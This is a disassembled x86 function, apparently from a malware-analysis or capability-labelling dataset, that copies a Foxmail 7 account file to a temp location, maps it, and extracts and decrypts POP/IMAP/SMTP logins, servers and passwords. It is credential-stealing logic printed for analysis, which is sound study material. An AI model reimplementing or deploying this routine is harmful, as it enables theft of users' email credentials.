Function at 0x40ab7f
Capabilities:
Copy file
Delete file
Get common file path
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2598
call fcn.005fec20
mov eax, dword [0x708c34]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, str.DecryptFoxmail7File
push esi
push ebx
push str._n_n_s_:_Opening__file__s
call fcn.00449974
push esi
call fcn.00449791
add esp, 0x10
test eax, eax
jne 0x40abcd
push esi
push ebx
push str._n_n_s_:_Specified_input_file_does_not_exist_____s_
call fcn.00449974
add esp, 0xc
jmp 0x40b236
push edi
lea eax, [ebp - 0x2574]
mov edi, 0x3e8
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
cdq
mov ecx, 0x186a0
idiv ecx
lea eax, [ebp - 0x2574]
push edx
push eax
push str._sfoxact__d
lea eax, [ebp - 0x440]
push edi
push eax
call fcn.00445d6d
lea eax, [ebp - 0x440]
push eax
push ebx
push str._n_s_:_Final_account_path_is__s
call fcn.00449974
add esp, 0x20
lea eax, [ebp - 0x440]
xor ebx, ebx
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x40ac58
call edi
push eax
lea eax, [ebp - 0x440]
push eax
push esi
push str.DecryptFoxmail7File
push str._s:_Failed_to_copy_file__s_to_tmp_file__s__Error0x_.8x
call fcn.00449974
add esp, 0x14
jmp 0x40ac77
lea eax, [ebp - 0x440]
push eax
push str.DecryptFoxmail7File
push str._s:_Successfully_copied_to_tmp_file__s
call fcn.00449974
add esp, 0xc
lea esi, [ebp - 0x440]
push esi
push str.DecryptFoxmail7File
push str._n_s_:_Final_account_path_is__s
call fcn.00449974
add esp, 0xc
push ebx
push ebx
push 3
push ebx
push 1
push SysReAllocString
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
mov dword [ebp - 0x2598], ebx
cmp ebx, 0xffffffff
jne 0x40acc5
call edi
push eax
push esi
push str.DecryptFoxmail7File
push str._n_s_:_Failed_to_open__s__Error0x_.8x
call fcn.00449974
add esp, 0x10
jmp 0x40b235
xor eax, eax
push eax
push eax
push eax
push 2
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov edi, eax
mov dword [ebp - 0x2594], edi
test edi, edi
jne 0x40ad06
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push str.DecryptFoxmail7File
push str._s_:_Failed_to_create_flle_mapping_for__s___Error0x_.8x
call fcn.00449974
add esp, 0x10
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40b235
xor esi, esi
push esi
push esi
push esi
push 4
push edi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x2580], eax
test eax, eax
jne 0x40ad45
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.DecryptFoxmail7File
push str._s_:_Failed_to_map_view_of_flle__Error0x_.8x
call fcn.00449974
add esp, 0xc
push edi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
jmp 0x40b232
push eax
push str.DecryptFoxmail7File
push str._n_s_:_File_is_successfully_mapped_at_address__0x_.8x
call fcn.00449974
add esp, 0xc
mov dword [ebp - 0x258c], esi
lea eax, [ebp - 0x258c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp dword [ebp - 0x258c], 0
mov esi, eax
mov dword [ebp - 0x2584], esi
je 0x40ad90
push str.DecryptFoxmail7File
push str._n_s_:_Critical_Situation___File_Size_is_higher_than_we_have_expected
call fcn.00449974
pop ecx
pop ecx
jmp 0x40ad37
push esi
push str.DecryptFoxmail7File
push str._n_s_:_File_size_is__u
call fcn.00449974
mov dword [ebp - 0x2578], esi
lea edi, [ebp - 0x38]
mov esi, str.IncomingServer
mov dword [ebp - 0xc], 0x616d4500
xor eax, eax
mov word [ebp - 8], 0x6c69
push 7
push str._n_Searching_for_foxmail_Email_records_of_size__d
movsd dword es:[edi], dword [esi]
mov byte [ebp - 6], al
mov dword [ebp - 0x18], 0x73615000
mov dword [ebp - 0x14], 0x726f7773
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x10], 0x64
mov dword [ebp - 0x2590], eax
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, str.OutgoingServer
lea edi, [ebp - 0x48]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, str.ESMTPAccountKey
lea edi, [ebp - 0x58]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, str.SmtpPassword
lea edi, [ebp - 0x28]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
call fcn.00449974
mov edi, dword [ebp - 0x2580]
lea eax, [ebp - 0xc]
push 7
push eax
push dword [ebp - 0x2584]
push edi
call fcn.00449f17
add esp, 0x24
mov dword [ebp - 0x2580], eax
test eax, eax
jne 0x40ae51
push str.DecryptFoxmail7File
push str._n_s_:_No_foxmail_Email_records_found__returning_now
call fcn.00449974
pop ecx
pop ecx
push dword [ebp - 0x2594]
jmp 0x40ad38
mov ebx, dword [ebp - 0x2580]
mov eax, ebx
sub eax, edi
push eax
push ebx
push str._n_Found_1st_Email_record_at_0x_.8x__offset__0x_.8x_
call fcn.00449974
mov eax, dword [ebp - 0x2578]
add esp, 0xc
push 2
pop ecx
sub eax, ebx
mov dword [ebp - 0x2588], ecx
lea esi, [edi - 0xa]
xor edx, edx
add esi, eax
mov byte [ebp - 0x1da4], dl
push esi
lea eax, [ebx + 0xa]
mov byte [ebp - 0x15d4], dl
push esi
push eax
push ecx
push str._n_Searching_for__d_Email_record_at_0x_.8x_in_remaining_size_0x_.8x___d_
mov byte [ebp - 0x11ec], dl
mov byte [ebp - 0x218c], dl
mov byte [ebp - 0x828], dl
mov byte [ebp - 0x19bc], dl
mov byte [ebp - 0xc10], dl
mov dword [ebp - 0x257c], eax
call fcn.00449974
push 7
lea eax, [ebp - 0xc]
push eax
push esi
push dword [ebp - 0x257c]
call fcn.00449f17
mov esi, eax
add esp, 0x24
mov dword [ebp - 0x2580], esi
test esi, esi
jne 0x40af0a
mov esi, dword [ebp - 0x2584]
dec esi
mov dword [ebp - 0x2590], 1
add esi, edi
push str._n_Could_not_find_next_Email_record...so_this_is_last_record
mov dword [ebp - 0x2580], esi
call fcn.00449974
pop ecx
jmp 0x40af23
mov eax, esi
sub eax, edi
push eax
push esi
push dword [ebp - 0x2588]
push str._n_Found__d_Email_record_at_0x_.8x__offset__0x_.8x_
call fcn.00449974
add esp, 0x10
mov eax, dword [ebp - 0x257c]
sub esi, ebx
sub esi, 0xa
mov dword [ebp - 0x2578], esi
lea esi, [eax + 4]
movzx eax, byte [eax]
push eax
push esi
lea eax, [ebp - 0x11ec]
push 0x3e8
push eax
call fcn.00631360
lea eax, [ebp - 0x11ec]
push eax
push esi
push str._n_Found_POP_Login___0x_.8x___s
call fcn.00449974
lea eax, [ebp - 0x38]
push eax
call fcn.00631510
mov esi, dword [ebp - 0x257c]
push eax
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 0x2578]
push esi
call fcn.00449f17
mov ebx, eax
add esp, 0x30
test ebx, ebx
je 0x40afc9
lea eax, [ebp - 0x38]
push eax
call fcn.00631510
lea esi, [eax + 8]
movzx eax, byte [eax + ebx + 4]
push eax
add esi, ebx
lea eax, [ebp - 0xc10]
push esi
push 0x3e8
push eax
call fcn.00631360
lea eax, [ebp - 0xc10]
push eax
push esi
push str._n_Found_POP_Server___0x_.8x___s
call fcn.00449974
mov esi, dword [ebp - 0x257c]
add esp, 0x20
push 9
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x2578]
push esi
call fcn.00449f17
add esp, 0x10
test eax, eax
je 0x40b01d
movzx edx, byte [eax + 0xd]
test dl, 1
lea ecx, [edx - 1]
cmove ecx, edx
add eax, 0x11
push ecx
push eax
lea eax, [ebp - 0x828]
push 0x3e8
push eax
call fcn.00631360
push 1
lea eax, [ebp - 0x1da4]
push eax
lea eax, [ebp - 0x828]
push eax
call fcn.0040b244
add esp, 0x1c
lea eax, [ebp - 0x48]
push eax
call fcn.00631510
push eax
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0x2578]
push esi
call fcn.00449f17
mov ebx, eax
add esp, 0x14
test ebx, ebx
je 0x40b081
lea eax, [ebp - 0x48]
push eax
call fcn.00631510
lea esi, [eax + 8]
movzx eax, byte [eax + ebx + 4]
push eax
add esi, ebx
lea eax, [ebp - 0x19bc]
push esi
push 0x3e8
push eax
call fcn.00631360
lea eax, [ebp - 0x19bc]
push eax
push esi
push str._n_Found_SMTP_Server___0x_.8x___s
call fcn.00449974
mov esi, dword [ebp - 0x257c]
add esp, 0x20
lea eax, [ebp - 0x58]
push eax
call fcn.00631510
push eax
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0x2578]
push esi
call fcn.00449f17
mov ebx, eax
add esp, 0x14
test ebx, ebx
je 0x40b0e5
lea eax, [ebp - 0x58]
push eax
call fcn.00631510
lea esi, [eax + 8]
movzx eax, byte [eax + ebx + 4]
push eax
add esi, ebx
lea eax, [ebp - 0x15d4]
push esi
push 0x3e8
push eax
call fcn.00631360
lea eax, [ebp - 0x15d4]
push eax
push esi
push str._n_Found_SMTP_Login___0x_.8x___s
call fcn.00449974
mov esi, dword [ebp - 0x257c]
add esp, 0x20
lea eax, [ebp - 0x28]
push eax
call fcn.00631510
push eax
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x2578]
push esi
call fcn.00449f17
mov esi, eax
add esp, 0x14
test esi, esi
je 0x40b14f
lea eax, [ebp - 0x28]
push eax
call fcn.00631510
lea edx, [esi + eax]
movzx ecx, byte [edx + 4]
test cl, 1
lea eax, [ecx - 1]
cmove eax, ecx
push eax
lea eax, [edx + 8]
push eax
lea eax, [ebp - 0x828]
push 0x3e8
push eax
call fcn.00631360
push 1
lea eax, [ebp - 0x218c]
push eax
lea eax, [ebp - 0x828]
push eax
call fcn.0040b244
add esp, 0x20
lea eax, [ebp - 0xc10]
push str.imap
push eax
call fcn.00627320
test eax, eax
mov edx, str.IMAP
mov ecx, str.POP3
lea eax, [ebp - 0xe04]
cmovne ecx, edx
push ecx
push 0x1f4
push eax
call fcn.006311ec
push 0xffffffffffffffff
mov ebx, 0x66ae5d
lea eax, [ebp - 0x1da4]
push ebx
push eax
lea eax, [ebp - 0x11ec]
mov esi, 0xff
push eax
lea eax, [ebp - 0xc10]
push eax
lea eax, [ebp - 0xe04]
push eax
push esi
push 2
call fcn.00412c85
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x218c]
push eax
lea eax, [ebp - 0x15d4]
push eax
lea eax, [ebp - 0x19bc]
push eax
push str.SMTP
push esi
push 2
call fcn.00412c85
add esp, 0x54
cmp dword [ebp - 0x2590], 0
jne 0x40b1ff
mov eax, dword [ebp - 0x2584]
mov ebx, dword [ebp - 0x2580]
sub eax, ebx
mov ecx, dword [ebp - 0x2588]
add eax, edi
inc ecx
jmp 0x40ae73
push str._n_n_This_is_the_last_record_...finished_now_n_n
call fcn.00449974
pop ecx
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0x2594]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov ebx, dword [ebp - 0x2598]
push ebx
call esi
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.005fe955
leave
ret